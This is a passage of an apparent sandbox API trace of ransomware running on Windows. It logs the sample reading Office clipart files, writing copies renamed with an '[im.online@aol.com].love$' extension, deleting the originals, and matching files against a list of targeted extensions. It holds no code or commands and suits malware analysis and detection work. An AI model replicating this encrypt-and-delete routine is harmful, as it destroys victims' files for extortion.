(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0273.765] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.765] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0273.766] GetLastError () returned 0x0 [0273.766] ReadFile (in: hFile=0x4e4, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x1580, lpOverlapped=0x0) returned 1 [0273.781] WriteFile (in: hFile=0x534, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x1590, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x1590, lpOverlapped=0x0) returned 1 [0273.782] ReadFile (in: hFile=0x4e4, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0273.782] WriteFile (in: hFile=0x534, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0273.782] SetEndOfFile (hFile=0x534) returned 1 [0273.783] CloseHandle (hObject=0x534) returned 1 [0273.783] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0273.783] SetEndOfFile (hFile=0x4e4) returned 1 [0273.790] CloseHandle (hObject=0x4e4) returned 1 [0273.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105294.wmf")) returned 1 [0274.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0274.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0274.155] lstrlenW (lpString=".doc") returned 4 [0274.155] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.155] lstrlenW (lpString=".docx") returned 5 [0274.155] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0274.156] lstrlenW (lpString=".pdf") returned 4 [0274.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.156] lstrlenW (lpString=".xls") returned 4 [0274.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.156] lstrlenW (lpString=".xlsx") returned 5 [0274.156] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0274.156] lstrlenW (lpString=".ppt") returned 4 [0274.156] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0274.156] lstrlenW (lpString=".zip") returned 4 [0274.156] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.156] lstrlenW (lpString=".rar") returned 4 [0274.156] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.156] lstrlenW (lpString=".bz2") returned 4 [0274.156] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.156] lstrlenW (lpString=".7z") returned 3 [0274.156] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0274.156] lstrlenW (lpString=".dbf") returned 4 [0274.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0274.157] lstrlenW (lpString=".1cd") returned 4 [0274.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0274.157] lstrlenW (lpString=".jpg") returned 4 [0274.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0274.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0274.157] lstrlenW (lpString=".doc") returned 4 [0274.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.157] lstrlenW (lpString=".docx") returned 5 [0274.157] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0274.157] lstrlenW (lpString=".pdf") returned 4 [0274.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.157] lstrlenW (lpString=".xls") returned 4 [0274.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.157] lstrlenW (lpString=".xlsx") returned 5 [0274.157] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0274.158] lstrlenW (lpString=".ppt") returned 4 [0274.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0274.158] lstrlenW (lpString=".zip") returned 4 [0274.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.158] lstrlenW (lpString=".rar") returned 4 [0274.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.158] lstrlenW (lpString=".bz2") returned 4 [0274.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.158] lstrlenW (lpString=".7z") returned 3 [0274.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0274.158] lstrlenW (lpString=".dbf") returned 4 [0274.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0274.158] lstrlenW (lpString=".1cd") returned 4 [0274.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105294.WMF") returned 68 [0274.158] lstrlenW (lpString=".jpg") returned 4 [0274.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.159] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0274.159] lstrlenW (lpString="J0105332.WMF") returned 12 [0274.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0274.161] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=10508) returned 1 [0274.161] CloseHandle (hObject=0x4c8) returned 1 [0274.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 0x220 [0274.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0274.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0274.162] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.162] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0274.180] GetLastError () returned 0x0 [0274.180] ReadFile (in: hFile=0x4c8, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x290c, lpOverlapped=0x0) returned 1 [0274.182] WriteFile (in: hFile=0x454, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x2910, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x2910, lpOverlapped=0x0) returned 1 [0274.184] ReadFile (in: hFile=0x4c8, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0274.184] WriteFile (in: hFile=0x454, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0274.184] SetEndOfFile (hFile=0x454) returned 1 [0274.184] CloseHandle (hObject=0x454) returned 1 [0274.184] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0274.184] SetEndOfFile (hFile=0x4c8) returned 1 [0274.188] CloseHandle (hObject=0x4c8) returned 1 [0274.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0274.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105332.wmf")) returned 1 [0274.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0274.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0274.453] lstrlenW (lpString=".doc") returned 4 [0274.453] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.453] lstrlenW (lpString=".docx") returned 5 [0274.453] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0274.453] lstrlenW (lpString=".pdf") returned 4 [0274.453] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.453] lstrlenW (lpString=".xls") returned 4 [0274.453] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.453] lstrlenW (lpString=".xlsx") returned 5 [0274.453] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0274.453] lstrlenW (lpString=".ppt") returned 4 [0274.453] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0274.453] lstrlenW (lpString=".zip") returned 4 [0274.453] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.453] lstrlenW (lpString=".rar") returned 4 [0274.453] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.453] lstrlenW (lpString=".bz2") returned 4 [0274.453] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.453] lstrlenW (lpString=".7z") returned 3 [0274.453] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0274.453] lstrlenW (lpString=".dbf") returned 4 [0274.453] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0274.453] lstrlenW (lpString=".1cd") returned 4 [0274.453] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0274.453] lstrlenW (lpString=".jpg") returned 4 [0274.453] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0274.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0274.454] lstrlenW (lpString=".doc") returned 4 [0274.454] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.454] lstrlenW (lpString=".docx") returned 5 [0274.454] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0274.454] lstrlenW (lpString=".pdf") returned 4 [0274.454] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.454] lstrlenW (lpString=".xls") returned 4 [0274.454] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.454] lstrlenW (lpString=".xlsx") returned 5 [0274.454] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0274.454] lstrlenW (lpString=".ppt") returned 4 [0274.454] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0274.454] lstrlenW (lpString=".zip") returned 4 [0274.454] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.454] lstrlenW (lpString=".rar") returned 4 [0274.454] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.454] lstrlenW (lpString=".bz2") returned 4 [0274.454] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.454] lstrlenW (lpString=".7z") returned 3 [0274.454] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0274.454] lstrlenW (lpString=".dbf") returned 4 [0274.454] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0274.454] lstrlenW (lpString=".1cd") returned 4 [0274.454] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.454] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0274.454] lstrlenW (lpString=".jpg") returned 4 [0274.454] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.455] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0274.455] lstrlenW (lpString="J0105360.WMF") returned 12 [0274.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0274.738] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=8860) returned 1 [0274.738] CloseHandle (hObject=0x4c8) returned 1 [0274.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 0x220 [0274.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0275.159] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.159] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0275.161] GetLastError () returned 0x0 [0275.161] ReadFile (in: hFile=0x560, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x229c, lpOverlapped=0x0) returned 1 [0275.164] WriteFile (in: hFile=0x388, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x22a0, lpOverlapped=0x0) returned 1 [0275.166] ReadFile (in: hFile=0x560, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0275.166] WriteFile (in: hFile=0x388, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0275.166] SetEndOfFile (hFile=0x388) returned 1 [0275.166] CloseHandle (hObject=0x388) returned 1 [0275.167] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.167] SetEndOfFile (hFile=0x560) returned 1 [0275.170] CloseHandle (hObject=0x560) returned 1 [0275.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0275.171] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105360.wmf")) returned 1 [0275.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0275.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0275.172] lstrlenW (lpString=".doc") returned 4 [0275.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.172] lstrlenW (lpString=".docx") returned 5 [0275.172] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0275.173] lstrlenW (lpString=".pdf") returned 4 [0275.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.173] lstrlenW (lpString=".xls") returned 4 [0275.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.173] lstrlenW (lpString=".xlsx") returned 5 [0275.173] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0275.173] lstrlenW (lpString=".ppt") returned 4 [0275.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0275.173] lstrlenW (lpString=".zip") returned 4 [0275.173] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.173] lstrlenW (lpString=".rar") returned 4 [0275.173] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.173] lstrlenW (lpString=".bz2") returned 4 [0275.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.173] lstrlenW (lpString=".7z") returned 3 [0275.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0275.173] lstrlenW (lpString=".dbf") returned 4 [0275.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0275.173] lstrlenW (lpString=".1cd") returned 4 [0275.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0275.173] lstrlenW (lpString=".jpg") returned 4 [0275.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0275.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0275.174] lstrlenW (lpString=".doc") returned 4 [0275.174] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0275.174] lstrlenW (lpString=".docx") returned 5 [0275.174] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0275.174] lstrlenW (lpString=".pdf") returned 4 [0275.174] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0275.174] lstrlenW (lpString=".xls") returned 4 [0275.174] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0275.174] lstrlenW (lpString=".xlsx") returned 5 [0275.174] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0275.174] lstrlenW (lpString=".ppt") returned 4 [0275.174] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0275.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0275.174] lstrlenW (lpString=".zip") returned 4 [0275.174] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.174] lstrlenW (lpString=".rar") returned 4 [0275.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.174] lstrlenW (lpString=".bz2") returned 4 [0275.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.174] lstrlenW (lpString=".7z") returned 3 [0275.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0275.174] lstrlenW (lpString=".dbf") returned 4 [0275.174] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0275.174] lstrlenW (lpString=".1cd") returned 4 [0275.175] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105360.WMF") returned 68 [0275.175] lstrlenW (lpString=".jpg") returned 4 [0275.175] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.175] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0275.175] lstrlenW (lpString="J0105380.WMF") returned 12 [0275.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0275.177] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=4624) returned 1 [0275.177] CloseHandle (hObject=0x560) returned 1 [0275.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf")) returned 0x220 [0275.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0275.178] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.178] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.178] 